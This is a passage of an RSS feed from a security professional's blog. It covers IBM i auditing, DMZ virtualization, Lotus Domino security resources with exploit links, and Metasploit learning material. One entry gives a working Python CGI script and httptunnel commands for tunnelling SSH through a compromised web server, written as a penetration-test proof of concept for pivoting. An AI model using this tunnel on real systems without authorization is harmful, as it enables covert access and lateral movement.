no real need to apply a consistent object-level access control policy, the only
way of accessing the data was through the menu.&lt;/p&gt;
&lt;p&gt;With TCP/IP and network connectivity, there are many more points of entry to
the data. Ensuring the effectiveness of these controls is obviously more
challenging. &lt;/p&gt;
&lt;h4&gt;Importance of data classification policies&lt;/h4&gt;
&lt;p&gt;One of the conclusion that can be reach reading this report is that there is
obviously a breach of the security policies of most organisations when it comes
to security of there IBM i systems. I believe that almost all fortune 100
companies have information security policies. They just forgot to enforce them
for their most critical systems!&lt;/p&gt;
&lt;p&gt;This highlight the importance of having sound data classification policies
(ISO/IEC 27002 7.2.1 - CobiT PO2.3). The result of this study shows clearly
that inappropriate security level is applied on many IBM i systems assessed
during the survey - I take the assumption that they proceed critical data. The
implementation of a classification and handling policy force the company to
identify where is their critical data so this is less likely that an
information system is left overlooked by security professionals and help the
auditors in defining their risk-based audit strategy.&lt;/p&gt;
&lt;p&gt;Regardless of the technology used (mid-range computers, mainframes,
micro-computers), the level of security has to be applied in proportion to the
value of the data to be protected. Most of the companies have patch management
procedures, hardening guides, vulnerability management programs but
surprisingly enough, these don't often apply to mid-range and mainframes&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;Reference&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I The survey can be downloaded from the &lt;a href=&quot;http://www.powertech.com/&quot; hreflang=&quot;en&quot;&gt;Powertech&lt;/a&gt; website&lt;/li&gt;
&lt;li&gt;I also strongly suggest that you read John Earl's article on auditing
iSeries systems published in the ISACA journal: &lt;/li&gt;
&lt;/ul&gt;
&lt;a href=&quot;http://www.isaca.org/Content/ContentGroups/Journal1/2008/jopdf0801-auditing-ibm.PDF&quot; hreflang=&quot;en&quot;&gt;http://www.isaca.org/Content/ContentGroups/Journal1/2008/jopdf0801-auditing-ibm.PDF&lt;/a&gt;&lt;br /&gt;

&lt;ul&gt;
&lt;li&gt;IBM i Market&lt;/li&gt;
&lt;/ul&gt;
&lt;a href=&quot;ftp://ftp.software.ibm.com/common/ssi/sa/wh/n/pow03032usen/POW03032USEN.PDF&quot;&gt;ftp://ftp.software.ibm.com/common/ssi/sa/wh/n/pow03032usen/POW03032USEN.PDF &lt;/a&gt;&lt;br /&gt;

&lt;br /&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Virtual server deployment spanning security zones</title>
    <link>http://blog.ombrepixel.com/post/2009/09/18/Virtual-server-deployment-spanning-security-zones</link>
    <guid isPermaLink="false">urn:md5:d19108d8456fe90a15381346896139ef</guid>
    <pubDate>Fri, 18 Sep 2009 23:02:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>General</category>
            
    <description>    &lt;p&gt;Following a question on the cissp mailing list on the risks of virtual
server deployment spanning security zones, here is the answer I posted:&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; font-family: arial, sans-serif; border-collapse: collapse;&quot;&gt;Vmware
has released a best practice guide about DMZ virtualization. I don't know
if your project is with vmware, but I suppose that most of this document
is still valuable even with other virtualization tool.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.vmware.com/files/pdf/dmz_virtualization_vmware_infra_wp.pdf&quot; target=&quot;_blank&quot; style=&quot;color: rgb(17, 65, 112);&quot;&gt;http://www.vmware.com/files/pdf/dmz_virtualization_vmware_infra_wp.pdf&lt;/a&gt;&lt;br /&gt;

&lt;br /&gt;
Basically, I think that any option can offer the same level of security
but involves different skills and amount of work to mitigate the potential
vulnerabilties.&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;http://blog.ombrepixel.com/public/vm_dmz.png&quot; alt=&quot;&quot; style=&quot;float: left; margin-top: 0; margin-right: 1em; margin-bottom: 1em; margin-left: 0;&quot; title=&quot;vmware, Feb 2010&quot; /&gt;In the second and third option of the document,
guest systems from different DMZs are hosted in the same host server.
These options can create vulnerabilities mainly because of the increasing
complexity that can lead to misconfiguration. There is also issues to
enforce separation of duties since the VMWare administrator can modify
virtual network settings.&lt;br /&gt;
&lt;br /&gt;
The points above can be mitigated but involve more requirements than the
solution with physical separation of trust zones.&lt;br /&gt;
&lt;br /&gt;
With DMZ virtualization, it is even more important that the below is done
and this will be very depending on the level of maturity of Information
Security and IT in general in each organisation:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The relevant IT people should be well trained on the
virtualization tool the company uses&lt;/li&gt;
&lt;li&gt;The VMware systems have to be hardened following best
practices, Management zones should be connected on a separate network that
is only available to the relevant people.&lt;/li&gt;
&lt;li&gt;Vmvare patches have to be applied in a timely manner (this can be
an issue since all guest systems may need a reboot)&lt;/li&gt;
&lt;li&gt;Regular configuration audit have to be done to ensure that
no misconfiguration has been introduced&lt;/li&gt;
&lt;li&gt;Stringent change management must be in place in the organisation
and no change to the virtual infrastructure should be done outside
the change process&lt;/li&gt;
&lt;/ul&gt;
Virtualization if far from a being a new toy. This is a great technology
that can decrease costs and can offer great DR strategies. This is likely
to be a sensitive subject in each organisation and the result of the risk
analysis should be well detailed. I think the points above can be used in
doing the risk analysis. For example in a company with undersized IT
teams, with poor change management process, I wouldn't recommend the DMZ
virtualization option (depending on the impact obviously).&lt;br /&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Lotus Notes/Domino Security</title>
    <link>http://blog.ombrepixel.com/post/2009/05/06/Lotus-Notes/Domino-Security</link>
    <guid isPermaLink="false">urn:md5:9121b2d725a7a5f746adee01bbb01135</guid>
    <pubDate>Wed, 06 May 2009 17:43:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Tools</category>
            
    <description>    &lt;p&gt;From: http://www.securityfocus.com/archive/101/492134&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Verdana;&quot;&gt;Here's a list
of useful resources on Lotus Domino/Notes security:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.dominosecurity.org/&quot;&gt;http://www.dominosecurity.org/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.ngssoftware.com/papers/hpldws.pdf&quot;&gt;http://www.ngssoftware.com/papers/hpldws.pdf&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.fortconsult.net/images/pdf/lotusnotes_keyfiles.pdf&quot;&gt;http://www.fortconsult.net/images/pdf/lotusnotes_keyfiles.pdf&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://seclists.org/pen-test/2002/Nov/0034.html&quot;&gt;http://seclists.org/pen-test/2002/Nov/0034.html&lt;/a&gt;
(all thread)&lt;br /&gt;
&lt;a href=&quot;http://seclists.org/pen-test/2007/Jul/0111.html&quot;&gt;http://seclists.org/pen-test/2007/Jul/0111.html&lt;/a&gt;
(all thread)&lt;br /&gt;
&lt;a href=&quot;http://documents.iss.net/whitepapers/domino.pdf&quot;&gt;http://documents.iss.net/whitepapers/domino.pdf&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www-128.ibm.com/developerworks/views/lotus/library.jsp&quot;&gt;h&lt;/a&gt;&lt;a href=&quot;http://blog.ombrepixel.com/post/2009/05/06/Lotus-Notes/#&quot;&gt;ttp://www-128.ibm.com/developerworks/views/lotus/library.jsp&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www-128.ibm.com/developerworks/lotus/security/&quot;&gt;http://www-128.ibm.com/developerworks/lotus/security/&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.redbooks.ibm.com/redbooks/pdfs/sg247017.pdf&quot;&gt;http://www.redbooks.ibm.com/redbooks/pdfs/sg247017.pdf&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg245341.pdf&quot;&gt;http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg245341.pdf&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.nsftools.com/&quot;&gt;http://www.nsftools.com/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Some testing tools:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://packetstormsecurity.org/UNIX/scanners/DominoHunter-0.92.zip&quot;&gt;http://packetstormsecurity.org/UNIX/scanners/DominoHunter-0.92.zip&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://packetstormsecurity.org/UNIX/scanners/domino.tar.gz&quot;&gt;http://packetstormsecurity.org/UNIX/scanners/domino.tar.gz&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.cqure.net/wp/?page_id=17&quot;&gt;http://www.cqure.net/wp/?page_id=17&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.appsecinc.com/products/appdetective/domino/%20&quot;&gt;http://www.appsecinc.com/products/appdetective/domino/&lt;/a&gt;
(commercial!)&lt;br /&gt;
&lt;a href=&quot;http://www.rapid7.com/nexpose/features.jsp%20&quot;&gt;http://www.rapid7.com/nexpose/features.jsp&lt;/a&gt;
(commercial!)&lt;br /&gt;
&lt;a href=&quot;http://www.openwall.com/john&quot;&gt;http://www.openwall.com/john&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://usuarios.lycos.es/reinob/&quot;&gt;http://usuarios.lycos.es/reinob/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.nestonline.com/lcrack/&quot;&gt;http://www.nestonline.com/lcrack/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.securiteinfo.com/download/dhb.zip&quot;&gt;http://www.securiteinfo.com/download/dhb.zip&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.cqure.net/wp/?page_id=12&quot;&gt;http://www.cqure.net/wp/?page_id=12&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www-128.ibm.com/developerworks/lotus/downloads/&quot;&gt;http://www-128.ibm.com/developerworks/lotus/downloads/&lt;/a&gt;&lt;br /&gt;

Other commercial password crackers from Elcomsoft/Passware/etc.&lt;br /&gt;
&lt;br /&gt;
And some exploits:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_dominohash&quot;&gt;http://www.0xdeadbeef.info/exploits/raptor_dominohash&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.milw0rm.com/exploits/3602&quot;&gt;http://www.milw0rm.com/exploits/3602&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.milw0rm.com/exploits/3616&quot;&gt;http://www.milw0rm.com/exploits/3616&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.milw0rm.com/exploits/4207&quot;&gt;http://www.milw0rm.com/exploits/4207&lt;/a&gt;&lt;br /&gt;

&lt;a href=&quot;http://www.milw0rm.com/exploits/4574&quot;&gt;http://www.milw0rm.com/exploits/4574&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Compliance automation</title>
    <link>http://blog.ombrepixel.com/post/2009/05/04/14-compliance-automation</link>
    <guid isPermaLink="false">urn:md5:a6a6063c3f3c8d4f029c498c4b46b6c3</guid>
    <pubDate>Mon, 04 May 2009 13:24:48 +0000</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>General</category>
            
    <description>    &lt;iframe src='http://docs.google.com/EmbedSlideshow?docid=dd25t7qp_38zwk4n7hn' frameborder='0' width='410' height='342'&gt;&lt;/iframe&gt;</description>
    
    
    
          <comments>http://blog.ombrepixel.com/post/2009/05/04/14-compliance-automation#comment-form</comments>
      <wfw:comment>http://blog.ombrepixel.com/post/2009/05/04/14-compliance-automation#comment-form</wfw:comment>
      <wfw:commentRss>http://blog.ombrepixel.com/feed/atom/comments/399512</wfw:commentRss>
      </item>
    
  <item>
    <title>Are you linkedin ?</title>
    <link>http://blog.ombrepixel.com/post/2008/04/19/13-are-you-linkedin</link>
    <guid isPermaLink="false">urn:md5:b8cecfe1c3ae5009c5963a5c2724bd06</guid>
    <pubDate>Sat, 19 Apr 2008 01:42:00 +0000</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>General</category>
            
    <description>    &lt;p&gt;I subscribed to the professional network &lt;a href=&quot;http://www.linkedin.com/&quot; hreflang=&quot;en&quot;&gt;linkedin.com&lt;/a&gt;. It's the first time I register to this kind of
website and I have to say that I found it useful for security professionals.
First, you can get in touch with experts in Information Security by connecting
to security groups or inviting friends of friends. I also like the questions
and answers section. You can ask questions or participate to answers on high
level security topics and since the people that answers the questions gets a
note, often high quality answers are provided on very interesting IT Security
topics.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.linkedin.com/&quot; hreflang=&quot;en&quot;&gt;linkedin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.linkedin.com/in/castlebbs&quot; hreflang=&quot;en&quot;&gt;My webpage on
linkedin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.linkedin.com/answers?browseQuestions=&amp;amp;filter=o&amp;amp;sort=n&amp;amp;category=TCH_ITS_ISC&quot; hreflang=&quot;en&quot;&gt;Computer and Network security Q&amp;amp;A on linkedin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>GNU httptunnel with CGI</title>
    <link>http://blog.ombrepixel.com/post/2009/05/04/7-mode-cgi-pour-gnu-httptunnel</link>
    <guid isPermaLink="false">urn:md5:efdf3cebed22ca835857f8c899a04c22</guid>
    <pubDate>Wed, 16 May 2007 14:46:00 +0000</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Development</category>
            
    <description>    &lt;p&gt;I wrote this &lt;a href=&quot;http://retina.free.fr/drobert/st/files/httptunnel-cgi.patch&quot;&gt;patch&lt;/a&gt; for
&lt;a href=&quot;http://www.nocrew.org/software/httptunnel/&quot;&gt;GNU httptunnel&lt;/a&gt; 3.0.5.
this adds the following functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP Basic Authentication: Allows to authenticate against a firewall or a
Web server&lt;/li&gt;
&lt;li&gt;CGI options: For the client &lt;code&gt;htc&lt;/code&gt;, a new option to enable the
definition of a cgi-script URI. For the server &lt;code&gt;hts&lt;/code&gt; enable the
option not to send the HTTP return code (which must be sent only by the web
server).&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I wrote this initially to do a proof of concept in a penetration testing I
did previously: if you can find a way to write to the &lt;code&gt;cgi-bin&lt;/code&gt;
folder of a vulnerable web server, you can then use this version of httptunnel
to encapsulate any flows like the ssh protocol and rebound on other systems
that can be accessed from the vulnerable webserver.&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The server &lt;code&gt;hts&lt;/code&gt; cannot be called directly by the web server
because it must ensure input-outputs persistence. The idea is to use a small
cgi which makes the interface between &lt;code&gt;hts&lt;/code&gt; and the web server. I
wrote a small script in python which makes this job but it is simple to do one
in C:&lt;/p&gt;
&lt;pre&gt;
#!/usr/bin/env python
# tun.py : cgi tunnel to httptunnel
# David ROBERT david@ombrepixel.com
import socket, string
import os, sys

# host where hts live
host=&amp;quot;localhost&amp;quot;
# hts listen port
port=8888

stdin=sys.stdin
stdout=sys.stdout

def log(texte):
    f=open(&amp;quot;/tmp/log&amp;quot;,&amp;quot;a&amp;quot;)
    f.write(texte + &amp;quot;\n&amp;quot;)
    f.close()

def processGet():
    # GET processing
    data = &amp;quot;&amp;quot;&amp;quot;GET /index.html HTTP/1.1
Host: %s
Connection: close&amp;quot;&amp;quot;&amp;quot; % os.environ.get(&amp;quot;HTTP_HOST&amp;quot;)

    # Send headers
    for line in string.split(data,&amp;quot;\n&amp;quot;):
        sock.send(line+&amp;quot;\r\n&amp;quot;)
    sock.send(&amp;quot;\r\n&amp;quot;)
    #log(&amp;quot;Lignes envoyees&amp;quot;)

    # Receive flow
    while 1:
        v=sock.recv(8192)
        if not v: break
        stdout.write(v)
        #log(&amp;quot;recu : %s&amp;quot; % v)
        stdout.flush()

def processPost():
    # POST processing
    data = &amp;quot;&amp;quot;&amp;quot;POST /index.html HTTP/1.1
Host: %s
Content-Length: 102400
Connection: close&amp;quot;&amp;quot;&amp;quot; % os.environ.get(&amp;quot;HTTP_HOST&amp;quot;)

    # Send headers
    for line in string.split(data,&amp;quot;\n&amp;quot;):
        sock.send(line+&amp;quot;\r\n&amp;quot;)
    sock.send(&amp;quot;\r\n&amp;quot;)

    # Send flow
    while 1:
        v = stdin.read(1)       # Ecriture
        if len(v) == 0: break
        #log(&amp;quot;lu : %s&amp;quot; % v)
        sock.send(v)

# __main__
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
if os.environ.get(&amp;quot;REQUEST_METHOD&amp;quot;) == &amp;quot;GET&amp;quot;:
    processGet()
elif os.environ.get(&amp;quot;REQUEST_METHOD&amp;quot;) == &amp;quot;POST&amp;quot;:
    processPost()
else:
    print &amp;quot;Boum&amp;quot;

# Fin
sock.close()
sys.exit(0)

&lt;/pre&gt;
&lt;h5&gt;How does it work ?&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;On the server, copy &lt;code&gt;tun.py&lt;/code&gt; in the &lt;code&gt;cgi-bin&lt;/code&gt; folder.
Start &lt;code&gt;hts&lt;/code&gt; in cgi mode (&lt;code&gt;-C&lt;/code&gt; or &lt;code&gt;--cgi&lt;/code&gt;),
listen to port 8888 and forward connexions to local port ssh (22):
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;hts -C -F localhost:22 8888&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;On the client, start &lt;code&gt;htc&lt;/code&gt; in cgi mode provinding URI to
&lt;code&gt;tun.py&lt;/code&gt; (&lt;code&gt;-C URI&lt;/code&gt; or &lt;code&gt;--cgi URI&lt;/code&gt;). In the
following example webserver must be the name of the web server (IP address
resolution must be possible). This name is also used in the HTTP headers sent
by &lt;code&gt;htc&lt;/code&gt; and makes it possible to select different virtual hosts.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;htc -C &amp;quot;/cgi-bin/tun.py&amp;quot; -F 2222 webserver:80&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If authentication (only HTTP Basic) is required to reach the cgi script,
you can specify &lt;code&gt;login:password&lt;/code&gt; on the &lt;code&gt;htc&lt;/code&gt; command
line:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;htc -C &amp;quot;/cgi-bin/tun.py&amp;quot; -a david:noway -F 2222
webserver:80&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Metasploit self-training</title>
    <link>http://blog.ombrepixel.com/post/2007/05/09/11-se-former-a-metasploit</link>
    <guid isPermaLink="false">urn:md5:2ac1cb9cd493fc0c8a26d79276b6109e</guid>
    <pubDate>Wed, 09 May 2007 14:24:00 +0000</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Tools</category>
            
    <description>    &lt;p&gt;If part of you job is about security or if this is a hobby, you probably
heard about the &lt;a href=&quot;http://www.metasploit.com&quot; hreflang=&quot;en&quot;&gt;metasploit&lt;/a&gt; project. This tool will help you during penetration
testing, you can try known exploit and create your own tools.&lt;/p&gt;
&lt;p&gt;There was an interesting threat on the &lt;a href=&quot;http://seclists.org/#pen-test&quot; hreflang=&quot;en&quot;&gt;pen-test&lt;/a&gt; mailing list in
regard to resources freely available on the internet to learn how to use
metaslpoit. Here is a sum-up of the links provided on the list:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Official documentation:&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;
&lt;a href=&quot;http://www.metasploit.com/framework/support/&quot; hreflang=&quot;en&quot;&gt;http://www.metasploit.com/framework/support/&lt;/a&gt;
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;User guide:&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;
&lt;a href=&quot;http://framework.metasploit.com/documents/users_guide.pdf&quot; hreflang=&quot;en&quot;&gt;http://framework.metasploit.com/documents/users_guide.pdf&lt;/a&gt;
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The metasploit book :&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;
&lt;a href=&quot;http://en.wikibooks.org/wiki/Metasploit/Contents&quot; hreflang=&quot;en&quot;&gt;http://en.wikibooks.org/wiki/Metasploit/Contents&lt;/a&gt;
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Article on Security Focus (maybe a little bit outdated) :&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;
&lt;a href=&quot;http://www.securityfocus.com/infocus/1789&quot; hreflang=&quot;en&quot;&gt;http://www.securityfocus.com/infocus/1789&lt;/a&gt;
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Demos on milw0rm :&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;
&lt;a href=&quot;http://www.milw0rm.com&quot; hreflang=&quot;en&quot;&gt;http://www.milw0rm.com&lt;/a&gt;
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Flash tutorial:&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;
&lt;a href=&quot;http://www.irongeek.com/i.php?page=videos/metasploit1&quot; hreflang=&quot;en&quot;&gt;http://www.irongeek.com/i.php?page=videos/metasploit1&lt;/a&gt;
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;A few videos :&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;
&lt;a href=&quot;http://www.computerdefense.org/?p=53&quot; hreflang=&quot;en&quot;&gt;http://www.computerdefense.org/?p=53&lt;/a&gt;
&lt;/pre&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Penetration Testing Framework 0.4</title>
    <link>http://blog.ombrepixel.com/post/2007/05/03/10-penetration-testing-framework-04</link>
    <guid isPermaLink="false">urn:md5:48f82c64b37fb665bc05dd8ee71831b5</guid>
    <pubDate>Thu, 03 May 2007 11:52:07 +0000</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Exploit</category>
            
    <description>    &lt;p&gt;J'invite les personnes qui ne connaissent pas le &quot;Penetration Testing Framework&quot; de Kev Orrey et Lee Lawson d'y jeter un oeil&amp;nbsp;:&lt;/p&gt;


&lt;p&gt;Version html :&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html&quot; hreflang=&quot;en&quot;&gt;http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Version PDF :&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.vulnerabilityassessment.co.uk/PenetrationTest.zip&quot; hreflang=&quot;en&quot;&gt;http://www.vulnerabilityassessment.co.uk/PenetrationTest.zip&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Source freemind :&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.vulnerabilityassessment.co.uk/Penetration%20Test.mm&quot; hreflang=&quot;en&quot;&gt;http://www.vulnerabilityassessment.co.uk/Penetration%20Test.mm&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Ce &quot;framework&quot; peut être intéressant pour une personne désirant effectuer des tests de pénétration. Une description est inutile, allez-voir la version html.&lt;/p&gt;


&lt;p&gt;Cette nouvelle version inclue entre autres les sections suivantes&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pentest wireless&lt;/li&gt;
&lt;li&gt;AS400&lt;/li&gt;
&lt;li&gt;VOIP&lt;/li&gt;
&lt;li&gt;Bluetooth&lt;/li&gt;
&lt;li&gt;Cisco&lt;/li&gt;
&lt;/ul&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>net2acid</title>
    <link>http://blog.ombrepixel.com/post/2003/02/06/net2acid</link>
    <guid isPermaLink="false">urn:md5:a48c286675912faf9cb649b5b2ed3dfa</guid>
    <pubDate>Sat, 14 Apr 2007 20:14:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Development</category>
            
    <description>    &lt;p&gt;I wrote net2acid. The goal is to insert into &lt;a class=&quot;reference&quot; href=&quot;http://www.snort.org/&quot;&gt;snort&lt;/a&gt; &lt;a class=&quot;reference&quot; href=&quot;http://acidlab.sourceforge.net/&quot;&gt;ACID&lt;/a&gt; database IP packets matched and
jumped by &lt;a class=&quot;reference&quot; href=&quot;http://www.netfilter.org/&quot;&gt;netfilter&lt;/a&gt; QUEUE target. Version 0.0&lt;/p&gt;
&lt;p&gt;I think it has never been completed&lt;/p&gt;</description>
    
          <enclosure url="http://blog.ombrepixel.com/public/net2acid-0.0.tar"
      length="440320" type="application/x-tar" />
    
    
      </item>
    
  <item>
    <title>reStructWeb</title>
    <link>http://blog.ombrepixel.com/post/2009/05/04/reStructWeb2</link>
    <guid isPermaLink="false">urn:md5:8aa389a4176864b1d6804e4e98acab6f</guid>
    <pubDate>Thu, 12 Apr 2007 19:26:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Development</category>
            
    <description>&lt;p&gt;reStructWeb is a small piece of software written in &lt;a class=&quot;reference&quot; href=&quot;http://www.python.org/&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: rgb(0, 0, 0); text-decoration: none;&quot;&gt;Python&lt;/span&gt;&lt;/a&gt; language.
I wrote it to manage my personal web site. The most important features that I
wished when I decided to write it are :&lt;/p&gt;
&lt;ul class=&quot;simple&quot; style=&quot;margin-bottom: 1em;&quot;&gt;
&lt;li&gt;To be able to simply modify my website online&lt;/li&gt;
&lt;li&gt;Not to have to write my pages in html or xml&lt;/li&gt;
&lt;li&gt;To create links between the pages very easily (like &lt;a class=&quot;reference&quot; href=&quot;http://c2.com/cgi/wiki?WikiWikiWeb&quot;&gt;Wiki&lt;/a&gt; )&lt;/li&gt;
&lt;li&gt;To integrate templates and css to separate the presentation from the
contents&lt;/li&gt;
&lt;li&gt;To be multi-lingual&lt;/li&gt;
&lt;li&gt;To be powerful and light for my poor computer ( &lt;a class=&quot;autolink reference&quot; href=&quot;http://retina.free.fr/drobert/siteabout.html.en&quot;&gt;SiteAbout&lt;/a&gt; ).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I took as a starting point the the &lt;a class=&quot;reference&quot; href=&quot;http://c2.com/cgi/wiki?WikiWikiWeb&quot;&gt;Wiki&lt;/a&gt; system to update my Web
site. The pages are created in text format using the&lt;a class=&quot;reference&quot; href=&quot;http://docutils.sourceforge.net/rst.html&quot;&gt;reStructuredText&lt;/a&gt; format. &lt;/p&gt;    &lt;p&gt;reStructWeb is based on the following tools:&lt;/p&gt;
&lt;div class=&quot;section&quot; id=&quot;requirement&quot;&gt;
&lt;ul class=&quot;simple&quot; style=&quot;margin-bottom: 1em;&quot;&gt;
&lt;li&gt;&lt;a class=&quot;reference&quot; href=&quot;http://www.python.org/&quot;&gt;Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;reference&quot; href=&quot;http://docutils.sourceforge.net/&quot;&gt;Docutils&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;reference&quot; href=&quot;http://www.apache.org/&quot;&gt;Apache&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At present reStructWeb makes hardly more than 300 lines of code. Largest of
work (the management of the reStructuredText format) is made by &lt;a class=&quot;reference&quot; href=&quot;http://docutils.sourceforge.net/&quot;&gt;Docutils&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;reStructWeb was tested on the following environments :&lt;/p&gt;
&lt;ul class=&quot;simple&quot; style=&quot;margin-bottom: 1em;&quot;&gt;
&lt;li&gt;Red Hat 9&lt;/li&gt;
&lt;li&gt;Red Hat 8.0&lt;/li&gt;
&lt;li&gt;Debian Sarge&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;reference&quot; href=&quot;http://www.python.org/&quot;&gt;Python&lt;/a&gt; 2.2.2,
2.2.3, 2.3.3&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;reference&quot; href=&quot;http://www.apache.org/&quot;&gt;apache&lt;/a&gt; 2.0.40&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;reference&quot; href=&quot;http://docutils.sourceforge.net/&quot;&gt;docutils&lt;/a&gt; snapshot téléchargé le 2
mai 2004&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The program should work on any system supporting &lt;a class=&quot;reference&quot; href=&quot;http://www.python.org/&quot;&gt;Python&lt;/a&gt; 2.2 (or more) and &lt;a class=&quot;reference&quot; href=&quot;http://docutils.sourceforge.net/&quot;&gt;docutils&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;principle-and-performances&quot;&gt;
&lt;h3&gt;Principle and performances&lt;/h3&gt;
&lt;p&gt;The system used is very powerful. The majority of time, the pages are sent
to the navigator directly by Apache (static pages). Two cases of figures will
lead Apache to return the request on reStructWeb script:&lt;/p&gt;
&lt;ol class=&quot;arabic simple&quot; style=&quot;margin-bottom: 1em; list-style-type: decimal;&quot;&gt;
&lt;li&gt;The URL required does not exist&lt;/li&gt;
&lt;li&gt;The URL required contains parameters&lt;/li&gt;
